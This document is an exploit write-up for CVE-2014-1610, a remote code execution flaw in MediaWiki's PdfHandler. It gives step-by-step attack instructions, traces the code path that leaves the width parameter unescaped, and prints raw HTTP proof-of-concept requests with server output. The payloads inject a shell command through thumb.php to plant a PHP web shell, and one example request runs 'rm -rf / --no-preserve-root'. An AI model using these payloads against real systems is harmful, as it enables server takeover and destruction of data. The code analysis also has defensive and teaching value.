MediaWiki 1.22.1 PdfHandler - Remote Code Execution

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#

# MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610)

# Reported by Netanel Rubin - Check Point’s Vulnerability Research Group (Jan 19, 2014)

# Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014)

# Affected website : Wikipedia.org and more !

#

# Exploit author : Xelenonz & @u0x (Pichaya Morimoto)

# Release dates : Feb 1, 2014

# Special Thanks to 2600 Thailand !

#

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# Exploit:

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1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled)

http://vulnerable-site/index.php/Special:Upload

2. inject os cmd to upload a php-backdoor

http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20

"<?php%20system(\\$_GET[1]);">images/xnz.php`

3. access to php-backdoor!

http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root

4. happy pwning!!





# Related files:

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thumb.php <-- extract all _GET array to params

/extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width

options

/includes/media/ImageHandler.php

/includes/GlobalFunctions.php

/includes/filerepo/file/File.php



# Vulnerability Analysis:

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1. thumb.php

This script used to resize images if it is configured to be done

when the web browser requests the image

<? ...

1.1 Called directly, use $_GET params

wfThumbHandleRequest();

1.2 Handle a thumbnail request via query parameters

function wfThumbHandleRequest() {

$params = get_magic_quotes_gpc()

? array_map( 'stripslashes', $_GET )

: $_GET; << WTF



wfStreamThumb( $params ); // stream the thumbnail

}

1.3 Stream a thumbnail specified by parameters

function wfStreamThumb( array $params ) {

...

$fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts

uploaded.pdf file here

...

// Backwards compatibility parameters

if ( isset( $params['w'] ) ) {

$params['width'] = $params['w']; // << Inject os cmd here!

unset( $params['w'] );

}

...

$img = wfLocalFile( $fileName );

...

// Thumbnail isn't already there, so create the new thumbnail...

$thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image

by width/height

...

// Stream the file if there were no errors

$thumb->streamFile( $headers );

...

?>

2. /includes/filerepo/file/File.php

<? ...

function transform( $params, $flags = 0 ) { ...

$handler = $this->getHandler(); // << PDF Handler

...

$normalisedParams = $params;

$handler->normaliseParams( $this, $normalisedParams );

...

$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );

..

?>

3. /extensions/PdfHandler/PdfHandler_body.php

<? ...

function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {

...

$width = $params['width'];

...

$cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd &

parameters

$cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page}

-dLastPage={$page}";

$cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg(

$srcPath );

$cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor );

$cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell

argument

$cmd .= wfEscapeShellArg( $dstPath ) . ")";

$cmd .= " 2>&1";

...

$err = wfShellExec( $cmd, $retval );

...

?>

4. /includes/GlobalFunctions.php

Execute a shell command, with time and memory limits

<? ...

function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits =

array() ) {

...

passthru( $cmd, $retval ); // << Execute here!!



# Proof-Of-Concept

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GET /mediawiki1221/thumb.php?f=longcat.pdf&w=10|`echo%20%22%3C

php%20system(\\$_GET[1]);%22%3Eimages/longcat.php`

HTTP/1.1

Host: 127.0.0.1

Connection: keep-alive

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8

Cookie: my_wikiUserID=2; my_wikiUserName=Longcat;

my_wiki_session=op3h2huvddnmg7gji0pscfsg02



<html><head><title>Error generating thumbnail</title></head>

<body>

<h1>Error generating thumbnail</h1>

<p>

เกิดปัญหาไม่สามารถทำรูปย่อได้: /bin/bash: -: command not found<br />

convert: option requires an argument `-resize' @

error/convert.c/ConvertImageCommand/2380.<br />

GPL Ghostscript 9.10: Unrecoverable error, exit code 1<br />



</p>



</body>

</html>





GET /mediawiki1221/images/longcat.php?1=id HTTP/1.1

Host: 127.0.0.1

Connection: keep-alive

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8

Cookie: my_wikiLoggedOut=1391266363; my_wikiUserID=2;

my_wikiUserName=Longcat; my_wiki_session=bvg0n4o0sn6ug04lg26luqfcg1



uid=33(www-data) gid=33(www-data) groups=33(www-data)





# Back-end $cmd

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GlobalFunctions.php : wfShellExec()

cmd = ('gs' -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150

-dBATCH -dNOPAUSE -q '/var/www/mediawiki1221/images/2/27/Longcat.pdf' |

'/usr/bin/convert' -depth 8 -resize 10|`echo "<?php

system(\\$_GET[1]);">images/longcat.php` -

'/tmp/transform_0e377aad0e27-1.jpg') 2>&1



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